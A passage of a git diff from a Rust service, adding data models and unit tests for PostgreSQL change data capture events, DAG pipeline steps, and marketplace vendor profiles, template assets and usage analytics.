+            "step_id": "550e8400-e29b-41d4-a716-446655440001",
+            "step_name": "test",
+            "step_type": "source",
+            "config": {},
+            "input_data": {},
+            "pipe_instance_id": "550e8400-e29b-41d4-a716-446655440002",
+            "deployment_hash": "test-hash",
+            "timestamp": "2026-01-01T00:00:00Z"
+        }"#;
+
+        let cmd: StepCommand = serde_json::from_str(json_str).unwrap();
+        assert!(cmd.retry_policy.is_none());
+    }
+}
diff --git a/src/models/cdc.rs b/src/models/cdc.rs
new file mode 100644
index 00000000..2af4fd88
--- /dev/null
+++ b/src/models/cdc.rs
@@ -0,0 +1,370 @@
+use chrono::{DateTime, Utc};
+use serde::{Deserialize, Serialize};
+use serde_json::Value as JsonValue;
+use uuid::Uuid;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// CDC Models — Change Data Capture event types
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// A CDC change operation type.
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(rename_all = "UPPERCASE")]
+pub enum CdcOperation {
+    Insert,
+    Update,
+    Delete,
+}
+
+impl std::fmt::Display for CdcOperation {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        match self {
+            Self::Insert => write!(f, "INSERT"),
+            Self::Update => write!(f, "UPDATE"),
+            Self::Delete => write!(f, "DELETE"),
+        }
+    }
+}
+
+impl CdcOperation {
+    pub fn from_str(s: &str) -> Option<Self> {
+        match s.to_uppercase().as_str() {
+            "INSERT" | "I" => Some(Self::Insert),
+            "UPDATE" | "U" => Some(Self::Update),
+            "DELETE" | "D" => Some(Self::Delete),
+            _ => None,
+        }
+    }
+}
+
+/// A single CDC change event captured from PostgreSQL WAL.
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct CdcChangeEvent {
+    pub event_id: Uuid,
+    pub source_id: Uuid,
+    pub schema_name: String,
+    pub table_name: String,
+    pub operation: CdcOperation,
+    /// Row data before the change (UPDATE old values, DELETE full row, INSERT = None).
+    #[serde(default)]
+    pub before: Option<JsonValue>,
+    /// Row data after the change (INSERT full row, UPDATE new values, DELETE = None).
+    #[serde(default)]
+    pub after: Option<JsonValue>,
+    /// PostgreSQL transaction ID for idempotency.
+    pub xid: i64,
+    /// WAL log sequence number for ordering.
+    pub lsn: String,
+    pub captured_at: DateTime<Utc>,
+}
+
+impl CdcChangeEvent {
+    pub fn new(
+        source_id: Uuid,
+        schema_name: String,
+        table_name: String,
+        operation: CdcOperation,
+        before: Option<JsonValue>,
+        after: Option<JsonValue>,
+        xid: i64,
+        lsn: String,
+    ) -> Self {
+        Self {
+            event_id: Uuid::new_v4(),
+            source_id,
+            schema_name,
+            table_name,
+            operation,
+            before,
+            after,
+            xid,
+            lsn,
+            captured_at: Utc::now(),
+        }
+    }
+
+    /// Get the "current" row data (after for INSERT/UPDATE, before for DELETE).
+    pub fn row_data(&self) -> Option<&JsonValue> {
+        match self.operation {
+            CdcOperation::Insert | CdcOperation::Update => self.after.as_ref(),
+            CdcOperation::Delete => self.before.as_ref(),
+        }
+    }
+
+    /// Build a normalized payload suitable for pipe source_data.
+    pub fn to_pipe_payload(&self) -> JsonValue {
+        serde_json::json!({
+            "event_id": self.event_id.to_string(),
+            "source_id": self.source_id.to_string(),
+            "schema": self.schema_name,
+            "table": self.table_name,
+            "operation": self.operation,
+            "before": self.before,
+            "after": self.after,
+            "xid": self.xid,
+            "lsn": self.lsn,
+            "captured_at": self.captured_at.to_rfc3339(),
+        })
+    }
+}
+
+/// CDC source configuration stored in the database.
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct CdcSource {
+    pub id: Uuid,
+    pub deployment_hash: String,
+    pub connection_url: String,
+    pub replication_slot: String,
+    pub publication_name: String,
+    /// Tables to monitor: ["public.users", "public.orders"]
+    pub monitored_tables: Vec<String>,
+    /// Operations to capture: ["INSERT", "UPDATE", "DELETE"]
+    pub capture_operations: Vec<String>,
+    pub status: CdcSourceStatus,
+    pub last_lsn: Option<String>,
+    pub created_at: DateTime<Utc>,
+    pub updated_at: DateTime<Utc>,
+}
+
+/// CDC source lifecycle status.
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(rename_all = "snake_case")]
+pub enum CdcSourceStatus {
+    Active,
+    Paused,
+    Error,
+    Deleted,
+}
+
+impl std::fmt::Display for CdcSourceStatus {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        match self {
+            Self::Active => write!(f, "active"),
+            Self::Paused => write!(f, "paused"),
+            Self::Error => write!(f, "error"),
+            Self::Deleted => write!(f, "deleted"),
+        }
+    }
+}
+
+/// Configuration for a CDC-to-pipe trigger binding.
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct CdcTriggerConfig {
+    pub cdc_source_id: Uuid,
+    pub pipe_template_id: Uuid,
+    /// Filter by table name (optional — None means all monitored tables).
+    #[serde(default)]
+    pub table_filter: Option<String>,
+    /// Filter by operation (optional — None means all captured operations).
+    #[serde(default)]
+    pub operation_filter: Option<Vec<CdcOperation>>,
+    /// JSONPath condition on the change data (optional).
+    #[serde(default)]
+    pub condition: Option<JsonValue>,
+}
+
+/// AMQP routing constants for CDC events.
+pub mod routing {
+    pub const CDC_EXCHANGE: &str = "cdc_events";
+    pub const CDC_EVENT_PREFIX: &str = "cdc.event";
+
+    pub fn event_key(table: &str, operation: &str) -> String {
+        format!(
+            "{}.{}.{}",
+            CDC_EVENT_PREFIX,
+            table,
+            operation.to_lowercase()
+        )
+    }
+
+    pub fn cdc_queue(deployment_hash: &str) -> String {
+        format!("cdc_listener_{}", deployment_hash)
+    }
+
+    pub fn wildcard_key(table: &str) -> String {
+        format!("{}.{}.#", CDC_EVENT_PREFIX, table)
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use serde_json::json;
+
+    #[test]
+    fn cdc_operation_from_str() {
+        assert_eq!(CdcOperation::from_str("INSERT"), Some(CdcOperation::Insert));
+        assert_eq!(CdcOperation::from_str("update"), Some(CdcOperation::Update));
+        assert_eq!(CdcOperation::from_str("D"), Some(CdcOperation::Delete));
+        assert_eq!(CdcOperation::from_str("I"), Some(CdcOperation::Insert));
+        assert_eq!(CdcOperation::from_str("bogus"), None);
+    }
+
+    #[test]
+    fn cdc_operation_display() {
+        assert_eq!(CdcOperation::Insert.to_string(), "INSERT");
+        assert_eq!(CdcOperation::Update.to_string(), "UPDATE");
+        assert_eq!(CdcOperation::Delete.to_string(), "DELETE");
+    }
+
+    #[test]
+    fn cdc_operation_serde_roundtrip() {
+        let ops = vec![
+            CdcOperation::Insert,
+            CdcOperation::Update,
+            CdcOperation::Delete,
+        ];
+        let json_str = serde_json::to_string(&ops).unwrap();
+        assert_eq!(json_str, r#"["INSERT","UPDATE","DELETE"]"#);
+        let deserialized: Vec<CdcOperation> = serde_json::from_str(&json_str).unwrap();
+        assert_eq!(deserialized, ops);
+    }
+
+    #[test]
+    fn change_event_serde_roundtrip() {
+        let event = CdcChangeEvent::new(
+            Uuid::new_v4(),
+            "public".to_string(),
+            "users".to_string(),
+            CdcOperation::Insert,
+            None,
+            Some(json!({"id": 1, "name": "Alice", "email": "alice@test.com"})),
+            42,
+            "0/16B3748".to_string(),
+        );
+
+        let serialized = serde_json::to_string(&event).unwrap();
+        let deserialized: CdcChangeEvent = serde_json::from_str(&serialized).unwrap();
+
+        assert_eq!(deserialized.event_id, event.event_id);
+        assert_eq!(deserialized.table_name, "users");
+        assert_eq!(deserialized.operation, CdcOperation::Insert);
+        assert_eq!(deserialized.xid, 42);
+        assert!(deserialized.before.is_none());
+        assert!(deserialized.after.is_some());
+    }
+
+    #[test]
+    fn change_event_row_data_insert() {
+        let after = json!({"id": 1});
+        let event = CdcChangeEvent::new(
+            Uuid::new_v4(),
+            "public".to_string(),
+            "users".to_string(),
+            CdcOperation::Insert,
+            None,
+            Some(after.clone()),
+            1,
+            "0/1".to_string(),
+        );
+        assert_eq!(event.row_data(), Some(&after));
+    }
+
+    #[test]
+    fn change_event_row_data_update() {
+        let before = json!({"name": "old"});
+        let after = json!({"name": "new"});
+        let event = CdcChangeEvent::new(
+            Uuid::new_v4(),
+            "public".to_string(),
+            "users".to_string(),
+            CdcOperation::Update,
+            Some(before),
+            Some(after.clone()),
+            2,
+            "0/2".to_string(),
+        );
+        assert_eq!(event.row_data(), Some(&after));
+    }
+
+    #[test]
+    fn change_event_row_data_delete() {
+        let before = json!({"id": 1, "name": "Alice"});
+        let event = CdcChangeEvent::new(
+            Uuid::new_v4(),
+            "public".to_string(),
+            "users".to_string(),
+            CdcOperation::Delete,
+            Some(before.clone()),
+            None,
+            3,
+            "0/3".to_string(),
+        );
+        assert_eq!(event.row_data(), Some(&before));
+    }
+
+    #[test]
+    fn change_event_to_pipe_payload() {
+        let event = CdcChangeEvent::new(
+            Uuid::new_v4(),
+            "public".to_string(),
+            "orders".to_string(),
+            CdcOperation::Insert,
+            None,
+            Some(json!({"id": 99, "total": 150.0})),
+            10,
+            "0/ABC".to_string(),
+        );
+        let payload = event.to_pipe_payload();
+        assert_eq!(payload["table"], "orders");
+        assert_eq!(payload["schema"], "public");
+        assert_eq!(payload["operation"], "INSERT");
+        assert_eq!(payload["xid"], 10);
+        assert!(payload["after"].is_object());
+        assert!(payload["before"].is_null());
+    }
+
+    #[test]
+    fn cdc_source_status_display() {
+        assert_eq!(CdcSourceStatus::Active.to_string(), "active");
+        assert_eq!(CdcSourceStatus::Paused.to_string(), "paused");
+        assert_eq!(CdcSourceStatus::Error.to_string(), "error");
+        assert_eq!(CdcSourceStatus::Deleted.to_string(), "deleted");
+    }
+
+    #[test]
+    fn cdc_routing_keys() {
+        assert_eq!(
+            routing::event_key("users", "INSERT"),
+            "cdc.event.users.insert"
+        );
+        assert_eq!(
+            routing::event_key("orders", "DELETE"),
+            "cdc.event.orders.delete"
+        );
+        assert_eq!(routing::cdc_queue("deploy-xyz"), "cdc_listener_deploy-xyz");
+        assert_eq!(routing::wildcard_key("users"), "cdc.event.users.#");
+    }
+
+    #[test]
+    fn cdc_trigger_config_serde() {
+        let config = CdcTriggerConfig {
+            cdc_source_id: Uuid::new_v4(),
+            pipe_template_id: Uuid::new_v4(),
+            table_filter: Some("users".to_string()),
+            operation_filter: Some(vec![CdcOperation::Insert, CdcOperation::Update]),
+            condition: Some(json!({"field": "amount", "operator": "gt", "value": 100})),
+        };
+
+        let serialized = serde_json::to_string(&config).unwrap();
+        let deserialized: CdcTriggerConfig = serde_json::from_str(&serialized).unwrap();
+
+        assert_eq!(deserialized.table_filter, Some("users".to_string()));
+        assert_eq!(
+            deserialized.operation_filter,
+            Some(vec![CdcOperation::Insert, CdcOperation::Update])
+        );
+    }
+
+    #[test]
+    fn cdc_trigger_config_minimal() {
+        let json_str = r#"{
+            "cdc_source_id": "550e8400-e29b-41d4-a716-446655440000",
+            "pipe_template_id": "550e8400-e29b-41d4-a716-446655440001"
+        }"#;
+        let config: CdcTriggerConfig = serde_json::from_str(json_str).unwrap();
+        assert!(config.table_filter.is_none());
+        assert!(config.operation_filter.is_none());
+        assert!(config.condition.is_none());
+    }
+}
diff --git a/src/models/dag.rs b/src/models/dag.rs
new file mode 100644
index 00000000..0b00b52e
--- /dev/null
+++ b/src/models/dag.rs
@@ -0,0 +1,145 @@
+use serde::{Deserialize, Serialize};
+use sqlx::types::chrono::{DateTime, Utc};
+use sqlx::types::uuid::Uuid;
+use sqlx::types::JsonValue;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// DagStep — individual step within a pipe template's DAG
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)]
+pub struct DagStep {
+    pub id: Uuid,
+    pub pipe_template_id: Uuid,
+    pub name: String,
+    pub step_type: String,
+    pub step_order: i32,
+    pub config: JsonValue,
+    pub created_at: DateTime<Utc>,
+    pub updated_at: DateTime<Utc>,
+}
+
+/// Valid step types for DAG nodes
+pub const VALID_STEP_TYPES: &[&str] = &[
+    "source",
+    "transform",
+    "condition",
+    "target",
+    "parallel_split",
+    "parallel_join",
+    "ws_source",
+    "ws_target",
+    "http_stream_source",
+    "grpc_source",
+    "grpc_target",
+    "cdc_source",
+    "amqp_source",
+    "kafka_source",
+];
+
+impl DagStep {
+    pub fn new(pipe_template_id: Uuid, name: String, step_type: String, config: JsonValue) -> Self {
+        Self {
+            id: Uuid::new_v4(),
+            pipe_template_id,
+            name,
+            step_type,
+            step_order: 0,
+            config,
+            created_at: Utc::now(),
+            updated_at: Utc::now(),
+        }
+    }
+
+    pub fn with_order(mut self, order: i32) -> Self {
+        self.step_order = order;
+        self
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// DagEdge — directed connection between two steps
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)]
+pub struct DagEdge {
+    pub id: Uuid,
+    pub pipe_template_id: Uuid,
+    pub from_step_id: Uuid,
+    pub to_step_id: Uuid,
+    pub condition: Option<JsonValue>,
+    pub created_at: DateTime<Utc>,
+}
+
+impl DagEdge {
+    pub fn new(pipe_template_id: Uuid, from_step_id: Uuid, to_step_id: Uuid) -> Self {
+        Self {
+            id: Uuid::new_v4(),
+            pipe_template_id,
+            from_step_id,
+            to_step_id,
+            condition: None,
+            created_at: Utc::now(),
+        }
+    }
+
+    pub fn with_condition(mut self, condition: JsonValue) -> Self {
+        self.condition = Some(condition);
+        self
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// DagStepExecution — per-step execution tracking
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)]
+pub struct DagStepExecution {
+    pub id: Uuid,
+    pub pipe_execution_id: Uuid,
+    pub step_id: Uuid,
+    pub status: String,
+    pub input_data: Option<JsonValue>,
+    pub output_data: Option<JsonValue>,
+    pub error: Option<String>,
+    pub started_at: Option<DateTime<Utc>>,
+    pub completed_at: Option<DateTime<Utc>>,
+    pub created_at: DateTime<Utc>,
+}
+
+impl DagStepExecution {
+    pub fn new(pipe_execution_id: Uuid, step_id: Uuid) -> Self {
+        Self {
+            id: Uuid::new_v4(),
+            pipe_execution_id,
+            step_id,
+            status: "pending".to_string(),
+            input_data: None,
+            output_data: None,
+            error: None,
+            started_at: None,
+            completed_at: None,
+            created_at: Utc::now(),
+        }
+    }
+
+    pub fn start(mut self) -> Self {
+        self.status = "running".to_string();
+        self.started_at = Some(Utc::now());
+        self
+    }
+
+    pub fn complete_success(mut self, output: JsonValue) -> Self {
+        self.status = "completed".to_string();
+        self.output_data = Some(output);
+        self.completed_at = Some(Utc::now());
+        self
+    }
+
+    pub fn complete_failure(mut self, error: String) -> Self {
+        self.status = "failed".to_string();
+        self.error = Some(error);
+        self.completed_at = Some(Utc::now());
+        self
+    }
+}
diff --git a/src/models/deployment.rs b/src/models/deployment.rs
index def43633..bd9f4f5a 100644
--- a/src/models/deployment.rs
+++ b/src/models/deployment.rs
@@ -11,8 +11,8 @@ pub struct Deployment {
     pub user_id: Option<String>, // user who created the deployment (nullable in db)
     pub deleted: Option<bool>,
     pub status: String,
-    pub runtime: String,                     // container runtime: "runc" or "kata"
-    pub metadata: Value,                     // renamed from 'body' to 'metadata'
+    pub runtime: String, // container runtime: "runc" or "kata"
+    pub metadata: Value, // renamed from 'body' to 'metadata'
     pub last_seen_at: Option<DateTime<Utc>>, // last heartbeat from agent
     pub created_at: DateTime<Utc>,
     pub updated_at: DateTime<Utc>,
diff --git a/src/models/marketplace.rs b/src/models/marketplace.rs
index f7bb6cee..e5928feb 100644
--- a/src/models/marketplace.rs
+++ b/src/models/marketplace.rs
@@ -35,6 +35,47 @@ pub struct StackTemplate {
     pub updated_at: Option<DateTime<Utc>>,
     pub approved_at: Option<DateTime<Utc>>,
     pub verifications: serde_json::Value,
+    pub infrastructure_requirements: serde_json::Value,
+    pub public_ports: Option<serde_json::Value>,
+    pub vendor_url: Option<String>,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub vendor_slug: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    #[sqlx(default)]
+    pub version: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    #[sqlx(default)]
+    pub changelog: Option<String>,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub config_files: serde_json::Value,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub assets: serde_json::Value,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub seed_jobs: serde_json::Value,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub post_deploy_hooks: serde_json::Value,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    #[sqlx(default)]
+    pub update_mode_capabilities: Option<serde_json::Value>,
+}
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default)]
+pub struct InfrastructureRequirements {
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub supported_clouds: Vec<String>,
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub supported_os: Vec<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub min_ram_mb: Option<i32>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub min_disk_gb: Option<i32>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub min_cpu_cores: Option<i32>,
 }
 
 #[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default, sqlx::FromRow)]
@@ -43,12 +84,46 @@ pub struct StackTemplateVersion {
     pub template_id: Uuid,
     pub version: String,
     pub stack_definition: serde_json::Value,
+    #[serde(default)]
+    pub config_files: serde_json::Value,
+    pub assets: serde_json::Value,
+    #[serde(default)]
+    pub seed_jobs: serde_json::Value,
+    #[serde(default)]
+    pub post_deploy_hooks: serde_json::Value,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub update_mode_capabilities: Option<serde_json::Value>,
     pub definition_format: Option<String>,
     pub changelog: Option<String>,
     pub is_latest: Option<bool>,
     pub created_at: Option<DateTime<Utc>>,
 }
 
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default)]
+pub struct MarketplaceAsset {
+    pub storage_provider: String,
+    pub bucket: String,
+    pub key: String,
+    pub filename: String,
+    pub sha256: String,
+    pub size: i64,
+    pub content_type: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub mount_path: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub fetch_target: Option<String>,
+    #[serde(default)]
+    pub decompress: bool,
+    #[serde(default)]
+    pub executable: bool,
+    #[serde(default = "default_true")]
+    pub immutable: bool,
+}
+
+fn default_true() -> bool {
+    true
+}
+
 #[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default, sqlx::FromRow)]
 pub struct StackTemplateReview {
     pub id: Uuid,
@@ -60,3 +135,301 @@ pub struct StackTemplateReview {
     pub submitted_at: Option<DateTime<Utc>>,
     pub reviewed_at: Option<DateTime<Utc>>,
 }
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default, sqlx::FromRow)]
+pub struct MarketplaceVendorProfile {
+    pub creator_user_id: String,
+    pub verification_status: String,
+    pub onboarding_status: String,
+    pub payouts_enabled: bool,
+    pub payout_provider: Option<String>,
+    pub payout_account_ref: Option<String>,
+    pub metadata: serde_json::Value,
+    pub created_at: Option<DateTime<Utc>>,
+    pub updated_at: Option<DateTime<Utc>>,
+    pub public_slug: Option<String>,
+    pub display_name: Option<String>,
+    pub bio: Option<String>,
+    pub avatar_url: Option<String>,
+    pub website_url: Option<String>,
+}
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default, sqlx::FromRow)]
+pub struct PublicVendorProfile {
+    pub creator_user_id: String,
+    pub slug: Option<String>,
+    pub display_name: Option<String>,
+    pub bio: Option<String>,
+    pub avatar_url: Option<String>,
+    pub website_url: Option<String>,
+    pub verified: bool,
+    pub rating: Option<f64>,
+    pub rating_count: i64,
+    pub rating_scale: i32,
+    pub metadata: serde_json::Value,
+    pub created_at: Option<DateTime<Utc>>,
+}
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default, sqlx::FromRow)]
+pub struct PublicVendorTemplate {
+    pub id: Uuid,
+    pub creator_user_id: String,
+    pub creator_name: Option<String>,
+    /// Public slug for the vendor's page, e.g. "acme-cloud".
+    /// Use this — not `creator_user_id` — to build `/vendors/{slug}` URLs.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    #[sqlx(default)]
+    pub vendor_slug: Option<String>,
+    pub name: String,
+    pub slug: String,
+    pub short_description: Option<String>,
+    pub long_description: Option<String>,
+    pub category_code: Option<String>,
+    pub product_id: Option<i32>,
+    pub tags: serde_json::Value,
+    pub tech_stack: serde_json::Value,
+    pub status: String,
+    pub is_configurable: Option<bool>,
+    pub view_count: Option<i32>,
+    pub deploy_count: Option<i32>,
+    pub required_plan_name: Option<String>,
+    pub price: Option<f64>,
+    pub billing_cycle: Option<String>,
+    pub currency: Option<String>,
+    pub created_at: Option<DateTime<Utc>>,
+    pub updated_at: Option<DateTime<Utc>>,
+    pub approved_at: Option<DateTime<Utc>>,
+    pub verifications: serde_json::Value,
+    pub infrastructure_requirements: serde_json::Value,
+    pub public_ports: Option<serde_json::Value>,
+    pub vendor_url: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    #[sqlx(default)]
+    pub version: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    #[sqlx(default)]
+    pub changelog: Option<String>,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub config_files: serde_json::Value,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub assets: serde_json::Value,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub seed_jobs: serde_json::Value,
+    #[serde(default)]
+    #[sqlx(default)]
+    pub post_deploy_hooks: serde_json::Value,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    #[sqlx(default)]
+    pub update_mode_capabilities: Option<serde_json::Value>,
+    pub rating: Option<f64>,
+    pub rating_count: i64,
+    pub rating_scale: i32,
+}
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default)]
+pub struct TemplateRatingSummary {
+    pub template_id: Uuid,
+    pub rating: Option<f64>,
+    pub rating_count: i64,
+    pub rating_scale: i32,
+}
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+pub struct MyTemplateRating {
+    pub template_id: Uuid,
+    pub rating_id: i32,
+    pub rating: f64,
+    pub rating_scale: i32,
+    pub comment: Option<String>,
+    pub created_at: DateTime<Utc>,
+    pub updated_at: DateTime<Utc>,
+}
+
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default)]
+pub struct PublicVendorPage {
+    pub vendor: PublicVendorProfile,
+    pub templates: Vec<PublicVendorTemplate>,
+}
+
+impl MarketplaceVendorProfile {
+    pub fn default_for_creator(creator_user_id: &str) -> Self {
+        Self {
+            creator_user_id: creator_user_id.to_string(),
+            verification_status: "unverified".to_string(),
+            onboarding_status: "not_started".to_string(),
+            payouts_enabled: false,
+            payout_provider: None,
+            payout_account_ref: None,
+            metadata: serde_json::json!({}),
+            created_at: None,
+            updated_at: None,
+            public_slug: None,
+            display_name: None,
+            bio: None,
+            avatar_url: None,
+            website_url: None,
+        }
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Analytics Models (TDD: defined for test compilation)
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Marketplace event for analytics tracking
+/// Tracks view and deploy events with template_id, user, cloud_provider, timestamp, metadata
+/// NOTE: Does NOT include finance fields (no amount, revenue, payout, withdrawal, balance)
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, sqlx::FromRow)]
+pub struct MarketplaceEvent {
+    pub id: Uuid,
+    pub template_id: Uuid,
+    pub event_type: String, // "view" or "deploy"
+    pub viewer_user_id: Option<String>,
+    pub deployer_user_id: Option<String>,
+    pub cloud_provider: Option<String>,
+    pub occurred_at: DateTime<Utc>,
+    pub metadata: serde_json::Value,
+}
+
+/// Vendor analytics response model
+/// Contains usage metrics only - NO finance fields
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+#[serde(rename_all = "camelCase")]
+pub struct VendorAnalytics {
+    pub creator_id: String,
+    pub period: AnalyticsPeriod,
+    pub summary: AnalyticsSummary,
+    pub views_series: Vec<SeriesBucket>,
+    pub deployments_series: Vec<SeriesBucket>,
+    pub cloud_breakdown: Vec<CloudBreakdown>,
+    pub top_templates: Vec<TemplatePerformance>,
+    pub templates: Vec<TemplateAnalytics>,
+}
+
+/// Analytics period definition
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+#[serde(rename_all = "camelCase")]
+pub struct AnalyticsPeriod {
+    pub key: String, // "7d", "30d", "90d", "all", "custom"
+    pub start_date: Option<DateTime<Utc>>,
+    pub end_date: Option<DateTime<Utc>>,
+    pub bucket: String, // "day", "week", "month", "all"
+}
+
+/// Analytics summary metrics
+/// NOTE: Does NOT include finance fields (no totalEarnings, revenue, earnings, payout)
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+#[serde(rename_all = "camelCase")]
+pub struct AnalyticsSummary {
+    pub total_views: i64,
+    pub total_deployments: i64,
+    pub conversion_rate: f64,
+    pub published_templates: i32,
+    pub top_cloud: Option<String>,
+    pub top_template_id: Option<Uuid>,
+}
+
+/// Time series bucket for views/deployments
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+#[serde(rename_all = "camelCase")]
+pub struct SeriesBucket {
+    pub bucket_start: DateTime<Utc>,
+    pub bucket_end: DateTime<Utc>,
+    pub count: i64,
+}
+
+/// Cloud provider deployment breakdown
+/// NOTE: Does NOT include finance fields (no revenue, earnings)
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+#[serde(rename_all = "camelCase")]
+pub struct CloudBreakdown {
+    pub cloud_provider: String,
+    pub deployments: i64,
+    pub percentage: f64,
+}
+
+/// Template performance metrics for top templates
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+#[serde(rename_all = "camelCase")]
+pub struct TemplatePerformance {
+    pub template_id: Uuid,
+    pub slug: String,
+    pub name: String,
+    pub views: i64,
+    pub deployments: i64,
+    pub conversion_rate: f64,
+}
+
+/// Template analytics with full details
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+#[serde(rename_all = "camelCase")]
+pub struct TemplateAnalytics {
+    pub template_id: Uuid,
+    pub creator_user_id: String,
+    pub slug: String,
+    pub name: String,
+    pub status: String,
+    pub views: i64,
+    pub deployments: i64,
+    pub conversion_rate: f64,
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{InfrastructureRequirements, MarketplaceVendorProfile};
+
+    #[test]
+    fn infrastructure_requirements_default_is_empty() {
+        let requirements = InfrastructureRequirements::default();
+
+        assert!(requirements.supported_clouds.is_empty());
+        assert!(requirements.supported_os.is_empty());
+        assert_eq!(None, requirements.min_ram_mb);
+        assert_eq!(None, requirements.min_disk_gb);
+        assert_eq!(None, requirements.min_cpu_cores);
+    }
+
+    #[test]
+    fn infrastructure_requirements_round_trip_serialization() {
+        let requirements = InfrastructureRequirements {
+            supported_clouds: vec!["hetzner".to_string(), "aws".to_string()],
+            supported_os: vec!["ubuntu-22.04".to_string()],
+            min_ram_mb: Some(2048),
+            min_disk_gb: Some(20),
+            min_cpu_cores: Some(2),
+        };
+
+        let value = serde_json::to_value(&requirements).expect("serialize requirements");
+        let round_trip: InfrastructureRequirements =
+            serde_json::from_value(value).expect("deserialize requirements");
+
+        assert_eq!(requirements, round_trip);
+    }
+
+    #[test]
+    fn infrastructure_requirements_partial_json_deserializes() {
+        let requirements: InfrastructureRequirements =
+            serde_json::from_value(serde_json::json!({ "min_ram_mb": 512 }))
+                .expect("deserialize partial requirements");
+
+        assert!(requirements.supported_clouds.is_empty());
+        assert!(requirements.supported_os.is_empty());
+        assert_eq!(Some(512), requirements.min_ram_mb);
+        assert_eq!(None, requirements.min_disk_gb);
+        assert_eq!(None, requirements.min_cpu_cores);
+    }
+
+    #[test]
+    fn marketplace_vendor_profile_default_for_creator_is_safe() {
+        let profile = MarketplaceVendorProfile::default_for_creator("creator-1");
+
+        assert_eq!("creator-1", profile.creator_user_id);
+        assert_eq!("unverified", profile.verification_status);
+        assert_eq!("not_started", profile.onboarding_status);
+        assert!(!profile.payouts_enabled);
+        assert_eq!(serde_json::json!({}), profile.metadata);
+    }
+}
diff --git a/src/models/mod.rs b/src/models/mod.rs
index 1f1e04ae..83951d1d 100644
--- a/src/models/mod.rs
+++ b/src/models/mod.rs
@@ -1,18 +1,24 @@
 mod agent;
 pub mod agent_audit_log;
+pub mod agent_protocol;
 mod agreement;
+pub mod cdc;
 mod chat;
 mod client;
 mod cloud;
 mod command;
+pub mod dag;
 pub(crate) mod deployment;
 pub mod marketplace;
 pub mod pipe;
 mod product;
 pub mod project;
 pub mod project_app;
+mod project_member;
 mod ratecategory;
 pub mod rating;
+mod remote_secret;
+pub mod resilience;
 mod rules;
 mod server;
